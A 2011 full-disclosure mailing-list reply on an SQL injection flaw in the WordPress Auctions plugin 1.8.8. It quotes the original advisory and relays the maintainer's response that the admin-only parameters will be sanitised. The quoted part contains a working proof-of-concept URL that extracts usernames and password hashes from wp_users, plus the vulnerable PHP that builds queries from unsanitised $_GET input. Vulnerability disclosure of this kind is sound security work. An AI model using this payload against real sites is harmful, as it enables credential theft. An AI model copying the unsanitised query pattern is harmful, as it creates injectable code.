full-disclosure - Re: WordPress Auctions plugin <= 1.8.8 SQL Injection Vulnerability

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Message-ID: <20110915134447.GB897@foo.fgeek.fi>
Date: Thu, 15 Sep 2011 16:44:47 +0300
From: Henri Salo <henri@...v.fi>
To: "Heyder[AlligatorTeam]" <heyder@...igatorteam.org>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: WordPress Auctions plugin <= 1.8.8 SQL
 Injection Vulnerability

On Wed, Sep 14, 2011 at 04:06:26PM -0300, Heyder[AlligatorTeam] wrote:
> # Exploit Title: WordPress Auctions plugin <= 1.8.8 SQL Injection
> Vulnerability
> # Date: 2011-09-09
> # Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org>
> @AlligatorTeam
> # Software Link: http://downloads.wordpress.org/plugin/wp-auctions.zip
> # Version: 1.8.8 (tested)
> 
> ---------------
> PoC
> ---------------
> 
> URL:
> http://localhost/wordpress/wp-admin/admin.php?page=wp-auctions-add&wpa_action=edit&wpa_id=-1+union+all+select+1,2,3,USER(),concat(user_login,char(58),user_pass),DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+wp_users&_wpnonce=e04f105b8e
> 
> ---------------
> Vulnerable code
> ---------------
> ...
> elseif($_GET["wpa_action"] == "edit"):
>     $strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
> ...
> elseif($_GET["wpa_action"] == "relist"):
>     $strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
> ...
> $resultList = $wpdb->get_row($strSQL);
> ...

Module owner replied:

"Thanks for raising this with us. The report is right in pointing out that those parameters aren't sanitised (which we will address immediately). It's work pointing out though, that this is an administration module (protected by WordPress's user permissions); rather than one that can be access anonymously."

Follow-up: http://wordpress.org/support/topic/plugin-wp-auctions-wordpress-auctions-plugin?replies=3#post-2341622

Best regards,
Henri Salo

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